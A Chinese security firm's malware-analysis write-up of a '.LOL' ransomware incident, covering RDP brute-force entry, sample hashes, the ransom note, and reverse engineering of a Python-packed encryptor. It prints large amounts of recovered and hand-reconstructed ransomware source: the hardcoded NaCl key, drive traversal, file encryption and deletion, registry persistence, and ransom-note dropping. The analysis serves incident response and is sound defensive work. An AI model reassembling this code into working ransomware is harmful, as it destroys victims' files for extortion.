【病毒分析】全网首发!全面剖析.LOL勒索病毒,无需缴纳赎金,破解方案敬请期待下篇!

新闻
2天前

1.背景

国庆前夕,我们接到来自北京某客户的紧急求助,称其公司超过10台设备遭遇勒索病毒攻击,导致业务全面瘫痪,亟需协助。接到请求后,Solar安全团队立即赶赴现场,协助客户进行安全断网并备份关键数据,以防病毒进一步扩散。

在排查过程中,我们发现客户的安全设备成功检测并隔离了该加密器。通过提取隔离区文件,我们成功获取了加密器的样本。客户出于数据恢复的迫切需求,与黑客进行了初步谈判,勒索金额为每台1200美元(约合人民币8510元),总计18000美元(约合人民币127740元)。然而,我们建议客户优先尝试技术手段进行恢复,因为部分勒索组织可能在收到赎金后并不提供解密工具,甚至会实施二次勒索。详见【病毒分析】交了赎金也无法恢复--针对国内某知名NAS的LVT勒索病毒最新分析

通过我们的分析,团队成功破解了该勒索病毒,顺利恢复了客户的所有数据,恢复率达到100%。本篇文章将详细分析该勒索病毒的技术特征,下一篇将分享我们的破解思路和工具。

img

eeb6c40f-59b1-4b6e-8c8d-03bb2757e5d5.png

2.溯源分析

2.1 入口点

由于服务器的IP映射至互联网,且远程桌面功能未设置访问限制,导致3389端口对外暴露。黑客在发现该IP和开放的3389端口后,自2024年9月7日7:15:10起便频繁利用大量恶意IP进行RDP爆破攻击,疑似通过跳板机或代理IP实施攻击,后续咨询用户得知服务器RDP密码为弱口令。

b546cc68-15f0-44e3-906d-4f8e4b03ec10.png

攻击者首次爆破时间

c313ce15-e2d8-47b9-813e-79bdefc23d47.png

攻击者恶意IP信息

2.2 横向感染

2024年9月21日0:55,黑客利用伊朗恶意IP 46.164.83.19成功登陆服务器,并通过该跳板机使用Netscan和Nbtscan等工具收集信息,随后利用NLBrute进行RDP用户名和密码的暴力破解,扩大了感染范围。至1:57,黑客开始执行加密操作,最终共导致15台机器被感染,业务瘫痪、无法正常运行。

b4f1176f-4a90-4343-b0d0-c0e948d31816.png

攻击者成功登系统

d04d5c38-16a9-47ce-a0ba-026a98eb89cf.png

攻击者恶意IP信息

2.恶意文件基础信息

2.1 加密器基本信息

文件名: Crypt.exe

编译器: Microsoft Visual C/C++(19.36.33813)[C]

大小: 19.81 MB

操作系统: Windows(Vista)[AMD64, 64位, Console]

类型: EXEC

字节序: LE

MD5: ddef08ea0d2d4d3fcb1833864908de42

SHA1: 300566f50769baab1db9abc1b7bf2fc297489b67

SHA256: 4998131d9da04240464355e09181f10dc42234fc08f58d710b4d821ea89fc635

2.3 勒索信

您的文件已被锁定。
您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我发送电子邮件。
获取解密工具和解密过程的详细信息。

案例编号:MJ-CHNull003
电子邮件:elenaelerhsteink08673@gmail.com

Your Files Have Been Locked.
Your files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.
To obtain the decryption tool and detailed instructions:

Case Number: MJ-CHNull003
Contact Email: elenaelerhsteink08673@gmail.com

3.加密后文件分析

3.1威胁分析

病毒家族lol
首次出现时间/捕获分析时间2024/09/29 || 2024/9/29
威胁类型勒索软件,加密病毒
加密文件扩展名.lol
勒索信文件名Ransom_Note.txt
有无免费解密器?
联系邮箱elenaelerhsteink08673@gmail.com
检测名称Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 ))
感染症状无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.locked)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。
感染方式受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接
受灾影响所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。

3.2 加密的测试文件

文件名

sierting.txt

具体内容:

824fb2d5-1c87-4f42-a53c-a7e9ebdc22e1.png

21a6df2c-0126-43cd-838e-af9a4a57cb18.png

加密文件名特征:

加密文件名 = 原始文件名+lol ,例如:sierting.txt.lol

加密算法:

文件加密使用了nacl加密算法。

释放文件

勒索信(Ransom_Note.txt)

文件内容:
您的文件已被锁定。
您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我发送电子邮件。
获取解密工具和解密过程的详细信息。

案例编号:MJ-CHNull003
电子邮件:elenaelerhsteink08673@gmail.com

Your Files Have Been Locked.
Your files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.
To obtain the decryption tool and detailed instructions:

Case Number: MJ-CHNull003
Contact Email: elenaelerhsteink08673@gmail.com

4逆向分析

4.1 总体流程分析

7c2778f2-b0cb-4afe-a5f4-269e97548e6c.png

4.2加密器逆向分析

通过使用ida进行分析可以发现他是由python打包而成的exe

57c9693b-8f71-4fc0-85df-a427c8e1b006.png

因此使用pyinstxtractor 与pycdc可以获取源码

4.2.1更换勒索壁纸

将勒索邮箱写入壁纸,然后更换壁纸

 img = Image.new('RGB', (1280, 800), (73, 109, 137), **('color',))
   d = ImageDraw.Draw(img)
   font = ImageFont.load_default()
   text = f'''Your files are locked! Contact: {email}'''
   d.text((100, 250), text, (255, 255, 255), font, **('fill', 'font'))
   img.save('background_image.jpg')
   ctypes.windll.user32.SystemParametersInfoW(20, 0, os.path.abspath('background_image.jpg'), 3)

4.2.2添加开机启动项

使用写入注册表的形式实现权限维持,由于这是python打包而成的exe,在获取路径的时候会获取为python文件的路径,但是这个路径在程序运行结束之后会自行删除,因此这是一个无效的权限维持手段

def add_to_startup(script_path):
   key = OpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_SET_VALUE)
   SetValueEx(key, 'MyScript', 0, REG_SZ, script_path)
   CloseKey(key)

4.2.3写入勒索信

写入勒索信

def create_ransom_note():
Unsupported opcode: RERAISE
   message = '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我 发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n'
   user_profiles = (lambda .0: [ os.path.join('C:\\Users', user) for user in .0 if os.path.isdir(os.path.join('C:\\Users', user)) ])(os.listdir('C:\\Users'))

4.2.4  密钥生成

Key = b'\xc0n\xf7\xd3\x95\x90w7\x06\xdd\xc2A\x8d\xaew\xcd[\xdb\xc9R\xf0\xfbLE8\xf0\xf7\xd5\xce\xed\xd6\xfa'
Box = nacl.secret.SecretBox(Key)

4.2.5 初始化加密路径

初始化加密路径,对于c盘只加密C:\Users路径下的文件

PathList = [
   'C:\\Users\\\\']
for Latter in range(97, 123):
   PathList.append(f'''{chr(Latter)}:\\''')
PathList.remove('c:\\')
print(f'''Valid user directories: {PathList}''')

4.2.6 申请提权弹窗

判断是否为管理员权限

AdminRight = ctypes.windll.shell32.IsUserAnAdmin()

如果不是,弹出窗口要求以管理员权限运行

def CallErrorBox():
    WINDOW = tkinter.Tk()
    WINDOW.withdraw()
    messagebox.showerror('Error', 'Try To Re-Run As Administrator')

4.2.7 遍历路径加密文件

对路径进行遍历,并排除部分文件,然后调用nacl算法进行加密

def encrypt_files_in_path(path):
    for root, _, files in os.walk(path):
        for name in files:
            file_path = os.path.join(root, name)
            file_size = os.stat(file_path).st_size
            if None((lambda .0 = None: for x in .0:x in file_path)(('$Recycle.Bin', 'Windows', 'AppData', 'System32'))):
                continue
            if None((lambda .0 = None: for ext in .0:file_path.endswith(ext))(('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt'))):
                continue
            if file_size >= FILE_SIZE_THRESHOLD:
                yield file_path
                continue
            print(f'''Encrypting small file {file_path}''')
            D_E_ncrypt(file_path, Box).FileE()

4.3代码还原

4.3.1 python字节码生成

通过上文我们得到的pyc文件,我们可以通过pycdas工具将pyc反编译为python字节码

img

4.3.2 D_E_ncrypt

4.3.2.1 D_E_ncrypt.FileE

fileE函数对应的字节码如下

0       LOAD_GLOBAL                     0: print
2       LOAD_CONST                      1: 'FILE -> '
4       LOAD_FAST                       0: self
6       LOAD_ATTR                       1: Target
8       FORMAT_VALUE                    0 (FVC_NONE)
10      BUILD_STRING                    2
12      CALL_FUNCTION                   1
14      POP_TOP
16      SETUP_FINALLY                   192 (to 210)
18      LOAD_GLOBAL                     2: os
20      LOAD_ATTR                       3: path
22      LOAD_METHOD                     4: isdir
24      LOAD_FAST                       0: self
26      LOAD_ATTR                       1: Target
28      CALL_METHOD                     1
30      LOAD_CONST                      2: True
32      COMPARE_OP                      3 (!=)
34      POP_JUMP_IF_FALSE               206
36      LOAD_GLOBAL                     5: open
38      LOAD_FAST                       0: self
40      LOAD_ATTR                       1: Target
42      LOAD_CONST                      3: 'rb'
44      CALL_FUNCTION                   2
46      SETUP_WITH                      24 (to 72)
48      STORE_FAST                      1: File
50      LOAD_FAST                       1: File
52      LOAD_METHOD                     6: read
54      CALL_METHOD                     0
56      STORE_FAST                      2: Date
58      POP_BLOCK
60      LOAD_CONST                      0: None
62      DUP_TOP
64      DUP_TOP
66      CALL_FUNCTION                   3
68      POP_TOP
70      JUMP_FORWARD                    16 (to 88)
72      WITH_EXCEPT_START
74      POP_JUMP_IF_TRUE                78
76      RERAISE
78      POP_TOP
80      POP_TOP
82      POP_TOP
84      POP_EXCEPT
86      POP_TOP
88      LOAD_FAST                       0: self
90      LOAD_ATTR                       1: Target
92      STORE_FAST                      3: FileName
94      LOAD_FAST                       0: self
96      LOAD_ATTR                       7: BoxM
98      LOAD_METHOD                     8: encrypt
100     LOAD_FAST                       2: Date
102     CALL_METHOD                     1
104     STORE_FAST                      4: Encrypted
106     LOAD_FAST                       0: self
108     LOAD_ATTR                       1: Target
110     LOAD_GLOBAL                     9: sys
112     LOAD_ATTR                       10: argv
114     LOAD_CONST                      4: 0
116     BINARY_SUBSCR
118     COMPARE_OP                      3 (!=)
120     POP_JUMP_IF_FALSE               206
122     LOAD_GLOBAL                     5: open
124     LOAD_FAST                       3: FileName
126     FORMAT_VALUE                    0 (FVC_NONE)
128     LOAD_CONST                      5: '.lol'
130     BUILD_STRING                    2
132     LOAD_CONST                      6: 'wb'
134     CALL_FUNCTION                   2
136     SETUP_WITH                      40 (to 178)
138     STORE_FAST                      1: File
140     LOAD_GLOBAL                     0: print
142     LOAD_CONST                      1: 'FILE -> '
144     LOAD_FAST                       3: FileName
146     FORMAT_VALUE                    0 (FVC_NONE)
148     BUILD_STRING                    2
150     CALL_FUNCTION                   1
152     POP_TOP
154     LOAD_FAST                       1: File
156     LOAD_METHOD                     11: write
158     LOAD_FAST                       4: Encrypted
160     CALL_METHOD                     1
162     POP_TOP
164     POP_BLOCK
166     LOAD_CONST                      0: None
168     DUP_TOP
170     DUP_TOP
172     CALL_FUNCTION                   3
174     POP_TOP
176     JUMP_FORWARD                    16 (to 194)
178     WITH_EXCEPT_START
180     POP_JUMP_IF_TRUE                184
182     RERAISE
184     POP_TOP
186     POP_TOP
188     POP_TOP
190     POP_EXCEPT
192     POP_TOP
194     LOAD_GLOBAL                     2: os
196     LOAD_METHOD                     12: remove
198     LOAD_FAST                       0: self
200     LOAD_ATTR                       1: Target
202     CALL_METHOD                     1
204     POP_TOP
206     POP_BLOCK
208     JUMP_FORWARD                    52 (to 262)
210     DUP_TOP
212     LOAD_GLOBAL                     13: Exception
214     JUMP_IF_NOT_EXC_MATCH           260
218     POP_TOP
220     STORE_FAST                      5: e
222     POP_TOP
224     SETUP_FINALLY                   26 (to 252)
226     LOAD_GLOBAL                     0: print
228     LOAD_CONST                      7: 'Error -> '
230     LOAD_FAST                       5: e
232     FORMAT_VALUE                    0 (FVC_NONE)
234     BUILD_STRING                    2
236     CALL_FUNCTION                   1
238     POP_TOP
240     POP_BLOCK
242     POP_EXCEPT
244     LOAD_CONST                      0: None
246     STORE_FAST                      5: e
248     DELETE_FAST                     5: e
250     JUMP_FORWARD                    10 (to 262)
252     LOAD_CONST                      0: None
254     STORE_FAST                      5: e
256     DELETE_FAST                     5: e
258     RERAISE
260     RERAISE
262     LOAD_CONST                      0: None
264     RETURN_VALUE

我们只反编译出了该字节码的前几行

     def FileE(self):
Unsupported opcode: RERAISE
        print(f'''FILE -> {self.Target}''')
    # WARNING: Decompyle incomplete

对应字节码中的

0       LOAD_GLOBAL                     0: print       //加载函数print
2       LOAD_CONST                      1: 'FILE -> '  //加载常量
4       LOAD_FAST                       0: self       //加载局部变量
6       LOAD_ATTR                       1: Target  //加载对象属性并放置于栈顶
8       FORMAT_VALUE                    0 (FVC_NONE) //格式化字符串
10      BUILD_STRING                    2           //拼接字符串
12      CALL_FUNCTION                   1  //调用函数print
14      POP_TOP                            //弹出栈顶元素

设置了一个异常处理,从16行到84行的 字节码都处于try,catch中

  16      SETUP_FINALLY                   192 (to 210)  //设置异常处理,如果触发异常则跳转到210行
  84      POP_EXCEPT                                  //结束异常处理

异常处理部分

210     DUP_TOP                          //复制栈顶的元素并将其放回栈顶
212     LOAD_GLOBAL                     13: Exception
214     JUMP_IF_NOT_EXC_MATCH           260  //判断是否匹配异常,如果不匹配就调转到260行 结束函数的位置
218     POP_TOP
220     STORE_FAST                      5: e   //保存变量
222     POP_TOP
224     SETUP_FINALLY                   26 (to 252) //再次设置异常处理
226     LOAD_GLOBAL                     0: print
228     LOAD_CONST                      7: 'Error -> '
230     LOAD_FAST                       5: e
232     FORMAT_VALUE                    0 (FVC_NONE)
234     BUILD_STRING                    2
236     CALL_FUNCTION                   1   //调用print
238     POP_TOP
240     POP_BLOCK
242     POP_EXCEPT
244     LOAD_CONST                      0: None
246     STORE_FAST                      5: e
248     DELETE_FAST                     5: e
250     JUMP_FORWARD                    10 (to 262)
252     LOAD_CONST                      0: None
254     STORE_FAST                      5: e
256     DELETE_FAST                     5: e
258     RERAISE
260     RERAISE
262     LOAD_CONST                      0: None
264     RETURN_VALUE

因此异常处理的代码如下

try:
    #加密部分
except Exception as e:
    try:
        print('Error -> ', e)
    except :
        return 0

接着翻译加密部分代码

18      LOAD_GLOBAL                     2: os
20      LOAD_ATTR                       3: path
22      LOAD_METHOD                     4: isdir
24      LOAD_FAST                       0: self
26      LOAD_ATTR                       1: Target
28      CALL_METHOD                     1  //os.path.isdir(self.Target) 
30      LOAD_CONST                      2: True
32      COMPARE_OP                      3 (!=)
34      POP_JUMP_IF_FALSE               206 //判断结果是否为true 不为true则跳转到206
36      LOAD_GLOBAL                     5: open
38      LOAD_FAST                       0: self
40      LOAD_ATTR                       1: Target
42      LOAD_CONST                      3: 'rb'
44      CALL_FUNCTION                   2
46      SETUP_WITH                      24 (to 72)//with open(self.Target,"rb") 
48      STORE_FAST                      1: File //保存变量为file
50      LOAD_FAST                       1: File
52      LOAD_METHOD                     6: read
54      CALL_METHOD                     0
56      STORE_FAST                      2: Date//Date = File.read()
58      POP_BLOCK
60      LOAD_CONST                      0: None
62      DUP_TOP
64      DUP_TOP
66      CALL_FUNCTION                   3
68      POP_TOP
70      JUMP_FORWARD                    16 (to 88) 无条件跳转

其中206处的字节如下

206     POP_BLOCK
208     JUMP_FORWARD                    52 (to 262)

262     LOAD_CONST                      0: None
264     RETURN_VALUE    //return 0

因此可以翻译成以下代码

        try:
            if os.path.isdir(self.Target) !=true:
                with open(self.Target,"rb") as File:
                    Date = File.read()
            else:
                return 0
        except Exception as e:
            try:
                print('Error -> ', e)
            except:
                return 0
88      LOAD_FAST                       0: self
90      LOAD_ATTR                       1: Target
92      STORE_FAST                      3: FileName
94      LOAD_FAST                       0: self
96      LOAD_ATTR                       7: BoxM
98      LOAD_METHOD                     8: encrypt
100     LOAD_FAST                       2: Date
102     CALL_METHOD                     1
104     STORE_FAST                      4: Encrypted

将上面的翻译成代码就是

Filename = self.Target 
Encrypted = self.BoxM.encrypt(Date)
106     LOAD_FAST                       0: self
108     LOAD_ATTR                       1: Target
110     LOAD_GLOBAL                     9: sys
112     LOAD_ATTR                       10: argv
114     LOAD_CONST                      4: 0
116     BINARY_SUBSCR     //从元组或者字典中获取元素  这里指获取sys.argv[0]
118     COMPARE_OP                      3 (!=)
120     POP_JUMP_IF_FALSE               206
122     LOAD_GLOBAL                     5: open
124     LOAD_FAST                       3: FileName
126     FORMAT_VALUE                    0 (FVC_NONE) //格式化字符串
128     LOAD_CONST                      5: '.lol'
130     BUILD_STRING                    2
132     LOAD_CONST                      6: 'wb'
134     CALL_FUNCTION                   2
136     SETUP_WITH                      40 (to 178)
138     STORE_FAST                      1: File
140     LOAD_GLOBAL                     0: print
142     LOAD_CONST                      1: 'FILE -> '
144     LOAD_FAST                       3: FileName
146     FORMAT_VALUE                    0 (FVC_NONE)
148     BUILD_STRING                    2
150     CALL_FUNCTION                   1
152     POP_TOP
154     LOAD_FAST                       1: File
156     LOAD_METHOD                     11: write
158     LOAD_FAST                       4: Encrypted
160     CALL_METHOD                     1

翻译后的代码为

if self.Target != sys.argv[0]:
            with open(Filename+'.lol','wb') as File:
                print(f'''FILE -> {Filename}''')
                File.write(Encrypted)
else:
    return 0
194     LOAD_GLOBAL                     2: os
196     LOAD_METHOD                     12: remove
198     LOAD_FAST                       0: self
200     LOAD_ATTR                       1: Target
202     CALL_METHOD                     1
204     POP_TOP
206     POP_BLOCK
208     JUMP_FORWARD                    52 (to 262)
os.remove(Self.Target)
return 0

因此 FileE函数大致代码为

    def FileE(self):
        print(f'''FILE -> {self.Target}''')
        try:
            if os.path.isdir(self.Target) !=true:
                with open(self.Target,"rb") as File:
                    Date = File.read()
            else:
                return 0
        except Exception as e:
            try:
                print('Error -> ', e)
                except:
                    return 0
        Filename = self.Target 
        Encrypted = self.BoxM.encrypt(Date)
        if self.Target != sys.argv[0]:
            with open(Filename+'.lol','wb') as File:
                print(f'''FILE -> {Filename}''')
                File.write(Encrypted)
        else :
            return 0
        os.remove(Self.Target)

4.3.2.2 SendKey

此函数被正常反编译出来,这里就不再赘述

    def SendKey(self):
        requests.get(self.Url)

4.3.2.3 init

此函数被正常反编译出来,这里就不再赘述

    def __init__(self, Target, BoxM, Url = (0, 0, 0)):
        self.Target = Target
        self.BoxM = BoxM
        self.Url = Url

4.3.3 create_image_with_email函数

此函数被正常反编译出来,这里就不再赘述

def create_image_with_email(email):
    img = Image.new('RGB', (1280, 800), (73, 109, 137), **('color',))
    d = ImageDraw.Draw(img)
    font = ImageFont.load_default()
    text = f'''Your files are locked! Contact: {email}'''
    d.text((100, 250), text, (255, 255, 255), font, **('fill', 'font'))
    img.save('background_image.jpg')
    ctypes.windll.user32.SystemParametersInfoW(20, 0, os.path.abspath('background_image.jpg'), 3)

4.3.4 add_to_startup函数

此函数被正常反编译出来,这里就不再赘述

def add_to_startup(script_path):
    key = OpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_SET_VALUE)
    SetValueEx(key, 'MyScript', 0, REG_SZ, script_path)
    CloseKey(key)

4.3.5 create_ransom_note 函数

通过工具,我们能反编译出他的前几行代码,但是后面的代码都不能识别,因此进行手动还原代码

def create_ransom_note():
Unsupported opcode: RERAISE
    message = '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我 发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n'
    user_profiles = (lambda .0: [ os.path.join('C:\\Users', user) for user in .0 if os.path.isdir(os.path.join('C:\\Users', user)) ])(os.listdir('C:\\Users'))
# WARNING: Decompyle incomplete

首先来处理第一段字节码,这里面调用了一个列表推导式

0       LOAD_CONST                      1: '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n'
2       STORE_FAST                      0: message
4       LOAD_CONST                      2: <CODE> <listcomp>
6       LOAD_CONST                      3: 'create_ransom_note.<locals>.<listcomp>'
8       MAKE_FUNCTION                   0  //调用一个自写的列表推导式
10      LOAD_GLOBAL                     0: os
12      LOAD_METHOD                     1: listdir
14      LOAD_CONST                      4: 'C:\\Users'    //输入的参数
16      CALL_METHOD                     1
18      GET_ITER
20      CALL_FUNCTION                   1
22      STORE_FAST                      1: user_profiles

列表推导式的字节码如下

0       BUILD_LIST                      0
2       LOAD_FAST                       0: .0  //输入的参数 这里指的是os.listdir('C:\\Users')
4       FOR_ITER                        40 (to 46)  //循环
6       STORE_FAST                      1: user
8       LOAD_GLOBAL                     0: os
10      LOAD_ATTR                       1: path
12      LOAD_METHOD                     2: isdir
14      LOAD_GLOBAL                     0: os
16      LOAD_ATTR                       1: path   
18      LOAD_METHOD                     3: join
20      LOAD_CONST                      0: 'C:\\Users'
22      LOAD_FAST                       1: user
24      CALL_METHOD                     2   // os.path.join('C:\\Users', user)
26      CALL_METHOD                     1   //os.path.isdir(os.path.join('C:\\Users', user))
28      POP_JUMP_IF_FALSE               4  //如果为flase 跳到4 重新开始迭代
30      LOAD_GLOBAL                     0: os
32      LOAD_ATTR                       1: path
34      LOAD_METHOD                     3: join
36      LOAD_CONST                      0: 'C:\\Users'
38      LOAD_FAST                       1: user
40      CALL_METHOD                     2 // os.path.join('C:\\Users', user)
42      LIST_APPEND                     2 //添加到数组中
44      JUMP_ABSOLUTE                   4
46      RETURN_VALUE

还原后的代码如下

[os.path.join('C:\\Users', user) for user in os.listdir('C:\\Users') if os.path.isdir(os.path.join('C:\\Users', user))]

然后是第二段字节码

24      LOAD_FAST                       1: user_profiles
26      GET_ITER
28      FOR_ITER                        178 (to 208)//对user_profiles进行迭代
30      STORE_FAST                      2: user_profile
32      LOAD_GLOBAL                     0: os
34      LOAD_ATTR                       2: path
36      LOAD_METHOD                     3: join
38      LOAD_FAST                       2: user_profile
40      LOAD_CONST                      5: 'Desktop'
42      CALL_METHOD                     2
44      STORE_FAST                      3: desktop_path

最后得到的代码如下

    for user_profile in user_profiles:
       desktop_path= os.path.join(user_profile,'Desktop')

然后是一段判断

46      LOAD_GLOBAL                     0: os
48      LOAD_ATTR                       2: path
50      LOAD_METHOD                     4: exists
52      LOAD_FAST                       3: desktop_path
54      CALL_METHOD                     1
56      POP_JUMP_IF_FALSE               28     //如果值为false则跳转到循环的开头,及contiune操作

代码如下

ransom_note_path = os.path.join(desktop_path,'Ransom_Note.txt')

接下来是一段异常处理

58      SETUP_FINALLY                   90 (to 150) //设置异常处理
60      LOAD_GLOBAL                     0: os
62      LOAD_ATTR                       2: path
64      LOAD_METHOD                     3: join
66      LOAD_FAST                       3: desktop_path
68      LOAD_CONST                      6: 'Ransom_Note.txt'
70      CALL_METHOD                     2    //os.path.join(desktop_path,'Ransom_Note.txt')
72      STORE_FAST                      4: ransom_note_path
74      LOAD_GLOBAL                     5: open
76      LOAD_FAST                       4: ransom_note_path
78      LOAD_CONST                      7: 'w'
80      LOAD_CONST                      8: 'utf-8'
82      LOAD_CONST                      9: ('encoding',)
84      CALL_FUNCTION_KW                3
86      SETUP_WITH                      26 (to 114)   //with open(ransom_note_path, 'w', encoding='utf-8')
88      STORE_FAST                      5: ransom_note_file  // as ransom_note_file:
90      LOAD_FAST                       5: ransom_note_file
92      LOAD_METHOD                     6: write
94      LOAD_FAST                       0: message   //ransom_note_file.write(message)
96      CALL_METHOD                     1
98      POP_TOP
100     POP_BLOCK
102     LOAD_CONST                      0: None
104     DUP_TOP
106     DUP_TOP
108     CALL_FUNCTION                   3
110     POP_TOP
112     JUMP_FORWARD                    16 (to 130)  //无条件跳转
114     WITH_EXCEPT_START
116     POP_JUMP_IF_TRUE                120
118     RERAISE
120     POP_TOP
122     POP_TOP
124     POP_TOP
126     POP_EXCEPT
128     POP_TOP
130     LOAD_GLOBAL                     7: print
132     LOAD_CONST                      10: 'Ransom note placed on '
134     LOAD_FAST                       2: user_profile
136     FORMAT_VALUE                    0 (FVC_NONE)   //格式化字符串
138     LOAD_CONST                      11: "'s desktop."
140     BUILD_STRING                    3
142     CALL_FUNCTION                   1  //print(f'Ransom note placed on {user_profile}\'s desktop.')
144     POP_TOP
146     POP_BLOCK
148     JUMP_ABSOLUTE                   28
150     DUP_TOP
152     LOAD_GLOBAL                     8: Exception  //加载异常
154     JUMP_IF_NOT_EXC_MATCH           204
156     POP_TOP
158     STORE_FAST                      6: e
160     POP_TOP
162     SETUP_FINALLY                   32 (to 196)
164     LOAD_GLOBAL                     7: print
166     LOAD_CONST                      12: 'Failed to create ransom note on '
168     LOAD_FAST                       2: user_profile
170     FORMAT_VALUE                    0 (FVC_NONE)
172     LOAD_CONST                      13: "'s desktop: "
174     LOAD_FAST                       6: e
176     FORMAT_VALUE                    0 (FVC_NONE)
178     BUILD_STRING                    4
180     CALL_FUNCTION                   1
182     POP_TOP
184     POP_BLOCK
186     POP_EXCEPT
188     LOAD_CONST                      0: None
190     STORE_FAST                      6: e
92     DELETE_FAST                     6: e
194     JUMP_ABSOLUTE                   28
196     LOAD_CONST                      0: None
198     STORE_FAST                      6: e
200     DELETE_FAST                     6: e
202     RERAISE
204     RERAISE
206     JUMP_ABSOLUTE                   28
208     LOAD_CONST                      0: None
 210     RETURN_VALUE

最后还原的代码如下

    try:
        ransom_note_path = os.path.join(desktop_path,'Ransom_Note.txt')
        with open(ransom_note_path, 'w', encoding='utf-8') as ransom_note_file:
            ransom_note_file.write(message)
    except Exception as e:
         print(f'Failed to create ransom note on {user_profile}\'s desktop: {e}')
         continue

    print(f'Ransom note placed on {user_profile}\'s desktop.')

因此这个函数的大致代码为,用于创建勒索信

def create_ransom_note():
    message = '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我 发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n'
    user_profiles =  [os.path.join('C:\\Users', user) for user in os.listdir('C:\\Users') if os.path.isdir(os.path.join('C:\\Users', user))]
    for user_profile in user_profiles:
       desktop_path= os.path.join(user_profile,'Desktop')
    if not  os.path.exists(desktop_path):
        continue
    try:
        ransom_note_path = os.path.join(desktop_path,'Ransom_Note.txt')
        with open(ransom_note_path, 'w', encoding='utf-8') as ransom_note_file:
            ransom_note_file.write(message)
    except Exception as e:
         print(f'Failed to create ransom note on {user_profile}\'s desktop: {e}')
         continue
    print(f'Ransom note placed on {user_profile}\'s desktop.')

4.3.6  OneStart 函数

这个函数也只反编译了一部分出来,因此我们也需要对他进行代码的还原。

首先是一个输出

0       LOAD_GLOBAL                     0: print
2       LOAD_CONST                      1: "It's Working"
4       CALL_FUNCTION                   1
print("It's Working")

然后使用了一个线程池进行并发操作

8       LOAD_GLOBAL                     1: ThreadPoolExecutor
10      LOAD_GLOBAL                     2: MAX_THREAD_WORKERS
12      LOAD_CONST                      2: ('max_workers',)
14      CALL_FUNCTION_KW                1
16      SETUP_WITH                      140 (to 158)
18      STORE_DEREF                     0: executor
20      LOAD_CLOSURE                    0: executor// with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor:
22      BUILD_TUPLE                     1
24      LOAD_CONST                      3: <CODE> <dictcomp>   //调用自写的推导式
26      LOAD_CONST                      4: 'OneStart.<locals>.<dictcomp>'
28      MAKE_FUNCTION                   8
30      LOAD_GLOBAL                     3: PathList
32      GET_ITER
34      CALL_FUNCTION                   1  //将PathList数组当成参数压入栈
36      STORE_FAST                      0: future_to_file

还原的代码如下

with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor:
        future_to_file = {
       // 调用推导式
    }

推导式的字节码如下

0       BUILD_MAP                       0
2       LOAD_FAST                       0: .0  //加载参数
4       FOR_ITER                        38 (to 44)
6       STORE_FAST                      1: path   //for path in pathlist
8       LOAD_GLOBAL                     0: encrypt_files_in_path
10      LOAD_FAST                       1: path
12      CALL_FUNCTION                   1  //encrypt_files_in_path(path)
14      GET_ITER
16      FOR_ITER                        24 (to 42)
18      STORE_FAST                      2: file_path  // for file_path in encrypt_files_in_path(path)
20      LOAD_DEREF                      0: executor
22      LOAD_METHOD                     1: submit   
